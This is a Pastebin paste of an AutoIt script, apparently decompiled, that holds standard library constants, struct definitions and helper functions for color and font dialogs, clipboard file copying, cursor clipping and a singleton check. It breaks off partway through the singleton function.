Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #NoTrayIcon
- Global Const $FW_DONTCARE = 0
- Global Const $FW_THIN = 100
- Global Const $FW_EXTRALIGHT = 200
- Global Const $FW_ULTRALIGHT = 200
- Global Const $FW_LIGHT = 300
- Global Const $FW_NORMAL = 400
- Global Const $FW_REGULAR = 400
- Global Const $FW_MEDIUM = 500
- Global Const $FW_SEMIBOLD = 600
- Global Const $FW_DEMIBOLD = 600
- Global Const $FW_BOLD = 700
- Global Const $FW_EXTRABOLD = 800
- Global Const $FW_ULTRABOLD = 800
- Global Const $FW_HEAVY = 900
- Global Const $FW_BLACK = 900
- Global Const $CF_EFFECTS = 256
- Global Const $CF_PRINTERFONTS = 2
- Global Const $CF_SCREENFONTS = 1
- Global Const $CF_NOSCRIPTSEL = 8388608
- Global Const $CF_INITTOLOGFONTSTRUCT = 64
- Global Const $LOGPIXELSX = 88
- Global Const $LOGPIXELSY = 90
- Global Const $ANSI_CHARSET = 0
- Global Const $BALTIC_CHARSET = 186
- Global Const $CHINESEBIG5_CHARSET = 136
- Global Const $DEFAULT_CHARSET = 1
- Global Const $EASTEUROPE_CHARSET = 238
- Global Const $GB2312_CHARSET = 134
- Global Const $GREEK_CHARSET = 161
- Global Const $HANGEUL_CHARSET = 129
- Global Const $MAC_CHARSET = 77
- Global Const $OEM_CHARSET = 255
- Global Const $RUSSIAN_CHARSET = 204
- Global Const $SHIFTJIS_CHARSET = 128
- Global Const $SYMBOL_CHARSET = 2
- Global Const $TURKISH_CHARSET = 162
- Global Const $VIETNAMESE_CHARSET = 163
- Global Const $OUT_CHARACTER_PRECIS = 2
- Global Const $OUT_DEFAULT_PRECIS = 0
- Global Const $OUT_DEVICE_PRECIS = 5
- Global Const $OUT_OUTLINE_PRECIS = 8
- Global Const $OUT_PS_ONLY_PRECIS = 10
- Global Const $OUT_RASTER_PRECIS = 6
- Global Const $OUT_STRING_PRECIS = 1
- Global Const $OUT_STROKE_PRECIS = 3
- Global Const $OUT_TT_ONLY_PRECIS = 7
- Global Const $OUT_TT_PRECIS = 4
- Global Const $CLIP_CHARACTER_PRECIS = 1
- Global Const $CLIP_DEFAULT_PRECIS = 0
- Global Const $CLIP_EMBEDDED = 128
- Global Const $CLIP_LH_ANGLES = 16
- Global Const $CLIP_MASK = 15
- Global Const $CLIP_STROKE_PRECIS = 2
- Global Const $CLIP_TT_ALWAYS = 32
- Global Const $ANTIALIASED_QUALITY = 4
- Global Const $DEFAULT_QUALITY = 0
- Global Const $DRAFT_QUALITY = 1
- Global Const $NONANTIALIASED_QUALITY = 3
- Global Const $PROOF_QUALITY = 2
- Global Const $DEFAULT_PITCH = 0
- Global Const $FIXED_PITCH = 1
- Global Const $VARIABLE_PITCH = 2
- Global Const $FF_DECORATIVE = 80
- Global Const $FF_DONTCARE = 0
- Global Const $FF_MODERN = 48
- Global Const $FF_ROMAN = 16
- Global Const $FF_SCRIPT = 64
- Global Const $FF_SWISS = 32
- Global Const $TAGPOINT = "struct;long X;long Y;endstruct"
- Global Const $TAGRECT = "struct;long Left;long Top;long Right;long Bottom;endstruct"
- Global Const $TAGSIZE = "struct;long X;long Y;endstruct"
- Global Const $TAGMARGINS = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
- Global Const $TAGFILETIME = "struct;dword Lo;dword Hi;endstruct"
- Global Const $TAGSYSTEMTIME = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
- Global Const $TAGTIME_ZONE_INFORMATION = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
- Global Const $TAGNMHDR = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
- Global Const $TAGCOMBOBOXEXITEM = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
- Global Const $TAGNMCBEDRAGBEGIN = $TAGNMHDR & ";int ItemID;wchar szText[260]"
- Global Const $TAGNMCBEENDEDIT = $TAGNMHDR & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
- Global Const $TAGNMCOMBOBOXEX = $TAGNMHDR & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
- Global Const $TAGDTPRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
- Global Const $TAGNMDATETIMECHANGE = $TAGNMHDR & ";dword Flag;" & $TAGSYSTEMTIME
- Global Const $TAGNMDATETIMEFORMAT = $TAGNMHDR & ";ptr Format;" & $TAGSYSTEMTIME & ";ptr pDisplay;wchar Display[64]"
- Global Const $TAGNMDATETIMEFORMATQUERY = $TAGNMHDR & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
- Global Const $TAGNMDATETIMEKEYDOWN = $TAGNMHDR & ";int VirtKey;ptr Format;" & $TAGSYSTEMTIME
- Global Const $TAGNMDATETIMESTRING = $TAGNMHDR & ";ptr UserString;" & $TAGSYSTEMTIME & ";dword Flags"
- Global Const $TAGEVENTLOGRECORD = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
- Global Const $TAGGDIPBITMAPDATA = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
- Global Const $TAGGDIPENCODERPARAM = "byte GUID[16];ulong Count;ulong Type;ptr Values"
- Global Const $TAGGDIPENCODERPARAMS = "uint Count;byte Params[1]"
- Global Const $TAGGDIPRECTF = "float X;float Y;float Width;float Height"
- Global Const $TAGGDIPSTARTUPINPUT = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
- Global Const $TAGGDIPSTARTUPOUTPUT = "ptr HookProc;ptr UnhookProc"
- Global Const $TAGGDIPIMAGECODECINFO = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
- Global Const $TAGGDIPPENCODERPARAMS = "uint Count;byte Params[1]"
- Global Const $TAGHDITEM = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
- Global Const $TAGNMHDDISPINFO = $TAGNMHDR & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
- Global Const $TAGNMHDFILTERBTNCLICK = $TAGNMHDR & ";int Item;" & $TAGRECT
- Global Const $TAGNMHEADER = $TAGNMHDR & ";int Item;int Button;ptr pItem"
- Global Const $TAGGETIPADDRESS = "byte Field4;byte Field3;byte Field2;byte Field1"
- Global Const $TAGNMIPADDRESS = $TAGNMHDR & ";int Field;int Value"
- Global Const $TAGLVFINDINFO = "struct;uint Flags;ptr Text;lparam Param;" & $TAGPOINT & ";uint Direction;endstruct"
- Global Const $TAGLVHITTESTINFO = $TAGPOINT & ";uint Flags;int Item;int SubItem;int iGroup"
- Global Const $TAGLVITEM = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
- Global Const $TAGNMLISTVIEW = $TAGNMHDR & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
- Global Const $TAGNMLVCUSTOMDRAW = "struct;" & $TAGNMHDR & ";dword dwDrawStage;handle hdc;" & $TAGRECT & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
- Global Const $TAGNMLVDISPINFO = $TAGNMHDR & ";" & $TAGLVITEM
- Global Const $TAGNMLVFINDITEM = $TAGNMHDR & ";int Start;" & $TAGLVFINDINFO
- Global Const $TAGNMLVGETINFOTIP = $TAGNMHDR & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
- Global Const $TAGNMITEMACTIVATE = $TAGNMHDR & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $TAGPOINT & ";lparam lParam;uint KeyFlags"
- Global Const $TAGNMLVKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags"
- Global Const $TAGNMLVSCROLL = $TAGNMHDR & ";int DX;int DY"
- Global Const $TAGMCHITTESTINFO = "uint Size;" & $TAGPOINT & ";uint Hit;" & $TAGSYSTEMTIME & ";" & $TAGRECT & ";int iOffset;int iRow;int iCol"
- Global Const $TAGMCMONTHRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
- Global Const $TAGMCRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
- Global Const $TAGMCSELRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
- Global Const $TAGNMDAYSTATE = $TAGNMHDR & ";" & $TAGSYSTEMTIME & ";int DayState;ptr pDayState"
- Global Const $TAGNMSELCHANGE = $TAGNMHDR & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
- Global Const $TAGNMOBJECTNOTIFY = $TAGNMHDR & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
- Global Const $TAGNMTCKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags"
- Global Const $TAGTVITEM = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
- Global Const $TAGTVITEMEX = "struct;" & $TAGTVITEM & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
- Global Const $TAGNMTREEVIEW = $TAGNMHDR & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
- Global Const $TAGNMTVCUSTOMDRAW = "struct;" & $TAGNMHDR & ";dword DrawStage;handle HDC;" & $TAGRECT & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
- Global Const $TAGNMTVDISPINFO = $TAGNMHDR & ";" & $TAGTVITEM
- Global Const $TAGNMTVGETINFOTIP = $TAGNMHDR & ";ptr Text;int TextMax;handle hItem;lparam lParam"
- Global Const $TAGTVHITTESTINFO = $TAGPOINT & ";uint Flags;handle Item"
- Global Const $TAGNMTVKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags"
- Global Const $TAGNMMOUSE = $TAGNMHDR & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $TAGPOINT & ";lparam HitInfo"
- Global Const $TAGTOKEN_PRIVILEGES = "dword Count;align 4;int64 LUID;dword Attributes"
- Global Const $TAGIMAGEINFO = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $TAGRECT
- Global Const $TAGMENUINFO = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
- Global Const $TAGMENUITEMINFO = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
- Global Const $TAGREBARBANDINFO = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader;" & $TAGRECT & ";uint uChevronState"
- Global Const $TAGNMREBARAUTOBREAK = $TAGNMHDR & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
- Global Const $TAGNMRBAUTOSIZE = $TAGNMHDR & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
- Global Const $TAGNMREBAR = $TAGNMHDR & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
- Global Const $TAGNMREBARCHEVRON = $TAGNMHDR & ";uint uBand;uint wID;lparam lParam;" & $TAGRECT & ";lparam lParamNM"
- Global Const $TAGNMREBARCHILDSIZE = $TAGNMHDR & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
- Global Const $TAGCOLORSCHEME = "dword Size;dword BtnHighlight;dword BtnShadow"
- Global Const $TAGNMTOOLBAR = $TAGNMHDR & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $TAGRECT
- Global Const $TAGNMTBHOTITEM = $TAGNMHDR & ";int idOld;int idNew;dword dwFlags"
- Global Const $TAGTBBUTTON = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String"
- Global Const $TAGTBBUTTONINFO = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
- Global Const $TAGNETRESOURCE = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
- Global Const $TAGOVERLAPPED = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
- Global Const $TAGOPENFILENAME = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
- Global Const $TAGBITMAPINFO = "struct;dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;endstruct;dword RGBQuad"
- Global Const $TAGBLENDFUNCTION = "byte Op;byte Flags;byte Alpha;byte Format"
- Global Const $TAGGUID = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]"
- Global Const $TAGWINDOWPLACEMENT = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
- Global Const $TAGWINDOWPOS = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
- Global Const $TAGSCROLLINFO = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
- Global Const $TAGSCROLLBARINFO = "dword cbSize;" & $TAGRECT & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
- Global Const $TAGLOGFONT = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]"
- Global Const $TAGKBDLLHOOKSTRUCT = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
- Global Const $TAGPROCESS_INFORMATION = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
- Global Const $TAGSTARTUPINFO = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
- Global Const $TAGSECURITY_ATTRIBUTES = "dword Length;ptr Descriptor;bool InheritHandle"
- Global Const $TAGWIN32_FIND_DATA = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
- Global Const $TAGTEXTMETRIC = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
- Func _WINAPI_GETLASTERROR($CURERR = @error, $CUREXT = @extended)
- Local $ARESULT = DllCall("kernel32.dll", "dword", "GetLastError")
- Return SetError($CURERR, $CUREXT, $ARESULT[0])
- EndFunc
- Func _WINAPI_SETLASTERROR($IERRCODE, $CURERR = @error, $CUREXT = @extended)
- DllCall("kernel32.dll", "none", "SetLastError", "dword", $IERRCODE)
- Return SetError($CURERR, $CUREXT)
- EndFunc
- Global Const $__MISCCONSTANT_CC_ANYCOLOR = 256
- Global Const $__MISCCONSTANT_CC_FULLOPEN = 2
- Global Const $__MISCCONSTANT_CC_RGBINIT = 1
- Global Const $TAGCHOOSECOLOR = "dword Size;hwnd hWndOwnder;handle hInstance;dword rgbResult;ptr CustColors;dword Flags;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName"
- Global Const $TAGCHOOSEFONT = "dword Size;hwnd hWndOwner;handle hDC;ptr LogFont;int PointSize;dword Flags;dword rgbColors;lparam CustData;" & "ptr fnHook;ptr TemplateName;handle hInstance;ptr szStyle;word FontType;int SizeMin;int SizeMax"
- Func _CHOOSECOLOR($IRETURNTYPE = 0, $ICOLORREF = 0, $IREFTYPE = 0, $HWNDOWNDER = 0)
- Local $CUSTCOLORS = "dword[16]"
- Local $TCHOOSE = DllStructCreate($TAGCHOOSECOLOR)
- Local $TCC = DllStructCreate($CUSTCOLORS)
- If $IREFTYPE = 1 Then
- $ICOLORREF = Int($ICOLORREF)
- ElseIf $IREFTYPE = 2 Then
- $ICOLORREF = Hex(String($ICOLORREF), 6)
- $ICOLORREF = "0x" & StringMid($ICOLORREF, 5, 2) & StringMid($ICOLORREF, 3, 2) & StringMid($ICOLORREF, 1, 2)
- EndIf
- DllStructSetData($TCHOOSE, "Size", DllStructGetSize($TCHOOSE))
- DllStructSetData($TCHOOSE, "hWndOwnder", $HWNDOWNDER)
- DllStructSetData($TCHOOSE, "rgbResult", $ICOLORREF)
- DllStructSetData($TCHOOSE, "CustColors", DllStructGetPtr($TCC))
- DllStructSetData($TCHOOSE, "Flags", BitOR($__MISCCONSTANT_CC_ANYCOLOR, $__MISCCONSTANT_CC_FULLOPEN, $__MISCCONSTANT_CC_RGBINIT))
- Local $ARESULT = DllCall("comdlg32.dll", "bool", "ChooseColor", "struct*", $TCHOOSE)
- If @error Then Return SetError(@error, @extended, -1)
- If $ARESULT[0] = 0 Then Return SetError(-3, -3, -1)
- Local $COLOR_PICKED = DllStructGetData($TCHOOSE, "rgbResult")
- If $IRETURNTYPE = 1 Then
- Return "0x" & Hex(String($COLOR_PICKED), 6)
- ElseIf $IRETURNTYPE = 2 Then
- $COLOR_PICKED = Hex(String($COLOR_PICKED), 6)
- Return "0x" & StringMid($COLOR_PICKED, 5, 2) & StringMid($COLOR_PICKED, 3, 2) & StringMid($COLOR_PICKED, 1, 2)
- ElseIf $IRETURNTYPE = 0 Then
- Return $COLOR_PICKED
- Else
- Return SetError(-4, -4, -1)
- EndIf
- EndFunc
- Func _CHOOSEFONT($SFONTNAME = "Courier New", $IPOINTSIZE = 10, $ICOLORREF = 0, $IFONTWEIGHT = 0, $IITALIC = False, $IUNDERLINE = False, $ISTRIKETHRU = False, $HWNDOWNER = 0)
- Local $ITALIC = 0, $UNDERLINE = 0, $STRIKEOUT = 0
- Local $LNGDC = __MISC_GETDC(0)
- Local $LFHEIGHT = Round(($IPOINTSIZE * __MISC_GETDEVICECAPS($LNGDC, $LOGPIXELSX)) / 72, 0)
- __MISC_RELEASEDC(0, $LNGDC)
- Local $TCHOOSEFONT = DllStructCreate($TAGCHOOSEFONT)
- Local $TLOGFONT = DllStructCreate($TAGLOGFONT)
- DllStructSetData($TCHOOSEFONT, "Size", DllStructGetSize($TCHOOSEFONT))
- DllStructSetData($TCHOOSEFONT, "hWndOwner", $HWNDOWNER)
- DllStructSetData($TCHOOSEFONT, "LogFont", DllStructGetPtr($TLOGFONT))
- DllStructSetData($TCHOOSEFONT, "PointSize", $IPOINTSIZE)
- DllStructSetData($TCHOOSEFONT, "Flags", BitOR($CF_SCREENFONTS, $CF_PRINTERFONTS, $CF_EFFECTS, $CF_INITTOLOGFONTSTRUCT, $CF_NOSCRIPTSEL))
- DllStructSetData($TCHOOSEFONT, "rgbColors", $ICOLORREF)
- DllStructSetData($TCHOOSEFONT, "FontType", 0)
- DllStructSetData($TLOGFONT, "Height", $LFHEIGHT)
- DllStructSetData($TLOGFONT, "Weight", $IFONTWEIGHT)
- DllStructSetData($TLOGFONT, "Italic", $IITALIC)
- DllStructSetData($TLOGFONT, "Underline", $IUNDERLINE)
- DllStructSetData($TLOGFONT, "Strikeout", $ISTRIKETHRU)
- DllStructSetData($TLOGFONT, "FaceName", $SFONTNAME)
- Local $ARESULT = DllCall("comdlg32.dll", "bool", "ChooseFontW", "struct*", $TCHOOSEFONT)
- If @error Then Return SetError(@error, @extended, -1)
- If $ARESULT[0] = 0 Then Return SetError(-3, -3, -1)
- Local $FONTNAME = DllStructGetData($TLOGFONT, "FaceName")
- If StringLen($FONTNAME) = 0 And StringLen($SFONTNAME) > 0 Then $FONTNAME = $SFONTNAME
- If DllStructGetData($TLOGFONT, "Italic") Then $ITALIC = 2
- If DllStructGetData($TLOGFONT, "Underline") Then $UNDERLINE = 4
- If DllStructGetData($TLOGFONT, "Strikeout") Then $STRIKEOUT = 8
- Local $ATTRIBUTES = BitOR($ITALIC, $UNDERLINE, $STRIKEOUT)
- Local $SIZE = DllStructGetData($TCHOOSEFONT, "PointSize") / 10
- Local $COLORREF = DllStructGetData($TCHOOSEFONT, "rgbColors")
- Local $WEIGHT = DllStructGetData($TLOGFONT, "Weight")
- Local $COLOR_PICKED = Hex(String($COLORREF), 6)
- Return StringSplit($ATTRIBUTES & "," & $FONTNAME & "," & $SIZE & "," & $WEIGHT & "," & $COLORREF & "," & "0x" & $COLOR_PICKED & "," & "0x" & StringMid($COLOR_PICKED, 5, 2) & StringMid($COLOR_PICKED, 3, 2) & StringMid($COLOR_PICKED, 1, 2), ",")
- EndFunc
- Func _CLIPPUTFILE($SFILE, $SSEPARATOR = "|")
- Local Const $GMEM_MOVEABLE = 2, $CF_HDROP = 15
- $SFILE &= $SSEPARATOR & $SSEPARATOR
- Local $NGLOBMEMSIZE = 2 * (StringLen($SFILE) + 20)
- Local $ARESULT = DllCall("user32.dll", "bool", "OpenClipboard", "hwnd", 0)
- If @error Or $ARESULT[0] = 0 Then Return SetError(1, _WINAPI_GETLASTERROR(), False)
- Local $IERROR = 0, $ILASTERROR = 0
- $ARESULT = DllCall("user32.dll", "bool", "EmptyClipboard")
- If @error Or Not $ARESULT[0] Then
- $IERROR = 2
- $ILASTERROR = _WINAPI_GETLASTERROR()
- Else
- $ARESULT = DllCall("kernel32.dll", "handle", "GlobalAlloc", "uint", $GMEM_MOVEABLE, "ulong_ptr", $NGLOBMEMSIZE)
- If @error Or Not $ARESULT[0] Then
- $IERROR = 3
- $ILASTERROR = _WINAPI_GETLASTERROR()
- Else
- Local $HGLOBAL = $ARESULT[0]
- $ARESULT = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $HGLOBAL)
- If @error Or Not $ARESULT[0] Then
- $IERROR = 4
- $ILASTERROR = _WINAPI_GETLASTERROR()
- Else
- Local $HLOCK = $ARESULT[0]
- Local $DROPFILES = DllStructCreate("dword pFiles;" & $TAGPOINT & ";bool fNC;bool fWide;wchar[" & StringLen($SFILE) + 1 & "]", $HLOCK)
- If @error Then Return SetError(5, 6, False)
- Local $TEMPSTRUCT = DllStructCreate("dword;long;long;bool;bool")
- DllStructSetData($DROPFILES, "pFiles", DllStructGetSize($TEMPSTRUCT))
- DllStructSetData($DROPFILES, "X", 0)
- DllStructSetData($DROPFILES, "Y", 0)
- DllStructSetData($DROPFILES, "fNC", 0)
- DllStructSetData($DROPFILES, "fWide", 1)
- DllStructSetData($DROPFILES, 6, $SFILE)
- For $I = 1 To StringLen($SFILE)
- If DllStructGetData($DROPFILES, 6, $I) = $SSEPARATOR Then DllStructSetData($DROPFILES, 6, Chr(0), $I)
- Next
- $ARESULT = DllCall("user32.dll", "handle", "SetClipboardData", "uint", $CF_HDROP, "handle", $HGLOBAL)
- If @error Or Not $ARESULT[0] Then
- $IERROR = 6
- $ILASTERROR = _WINAPI_GETLASTERROR()
- EndIf
- $ARESULT = DllCall("kernel32.dll", "bool", "GlobalUnlock", "handle", $HGLOBAL)
- If (@error Or Not $ARESULT[0]) And Not $IERROR And _WINAPI_GETLASTERROR() Then
- $IERROR = 8
- $ILASTERROR = _WINAPI_GETLASTERROR()
- EndIf
- EndIf
- $ARESULT = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle", $HGLOBAL)
- If (@error Or $ARESULT[0]) And Not $IERROR Then
- $IERROR = 9
- $ILASTERROR = _WINAPI_GETLASTERROR()
- EndIf
- EndIf
- EndIf
- $ARESULT = DllCall("user32.dll", "bool", "CloseClipboard")
- If (@error Or Not $ARESULT[0]) And Not $IERROR Then Return SetError(7, _WINAPI_GETLASTERROR(), False)
- If $IERROR Then Return SetError($IERROR, $ILASTERROR, False)
- Return True
- EndFunc
- Func _IIF($FTEST, $VTRUEVAL, $VFALSEVAL)
- If $FTEST Then
- Return $VTRUEVAL
- Else
- Return $VFALSEVAL
- EndIf
- EndFunc
- Func _MOUSETRAP($ILEFT = 0, $ITOP = 0, $IRIGHT = 0, $IBOTTOM = 0)
- Local $ARESULT
- If @NumParams == 0 Then
- $ARESULT = DllCall("user32.dll", "bool", "ClipCursor", "ptr", 0)
- If @error Or Not $ARESULT[0] Then Return SetError(1, _WINAPI_GETLASTERROR(), False)
- Else
- If @NumParams == 2 Then
- $IRIGHT = $ILEFT + 1
- $IBOTTOM = $ITOP + 1
- EndIf
- Local $TRECT = DllStructCreate($TAGRECT)
- DllStructSetData($TRECT, "Left", $ILEFT)
- DllStructSetData($TRECT, "Top", $ITOP)
- DllStructSetData($TRECT, "Right", $IRIGHT)
- DllStructSetData($TRECT, "Bottom", $IBOTTOM)
- $ARESULT = DllCall("user32.dll", "bool", "ClipCursor", "struct*", $TRECT)
- If @error Or Not $ARESULT[0] Then Return SetError(2, _WINAPI_GETLASTERROR(), False)
- EndIf
- Return True
- EndFunc
- Func _SINGLETON($SOCCURENCENAME, $IFLAG = 0)
- Local Const $ERROR_ALREADY_EXISTS = 183
- Local Const $SECURITY_DESCRIPTOR_REVISION = 1
- Local $TSECURITYATTRIBUTES = 0
- If BitAND($IFLAG, 2) Then
- Local $TSECURITYDESCRIPTOR = DllStructCreate("byte;byte;word;ptr[4]")
- Local $ARET = DllCall("advapi32.dll", "bool", "InitializeSecurityDescriptor", "struct*", $TSECURITYDESCRIPTOR, "dword", $SECURITY_DESCRIPTOR_REVISION)
- If @error Then Return SetError(@error, @extended, 0)
- If $ARET[0] Then
- $ARET = DllCall("advapi32.dll", "bool", "SetSecurityDescriptorDacl", "struct*", $TSECURITYDESCRIPTOR, "bool", 1, "ptr", 0, "bool", 0)
- If @error Then Return SetError(@error, @extended, 0)
- If $ARET[0] Then
- $TSECURITYATTRIBUTES = DllStructCreate($TAGSECURITY_ATTRIBUTES)
- DllStructSetData($TSECURITYATTRIBUTES, 1, DllStructGetSize($TSECURITYATTRIBUTES))
- DllStructSetData($TSECURITYATTRIBUTES, 2, DllStructGetPtr($TSECURITYDESCRIPTOR))
- DllStructSetData($TSECURITYATTRIBUTES, 3, 0)
- EndIf
- EndIf
- EndIf
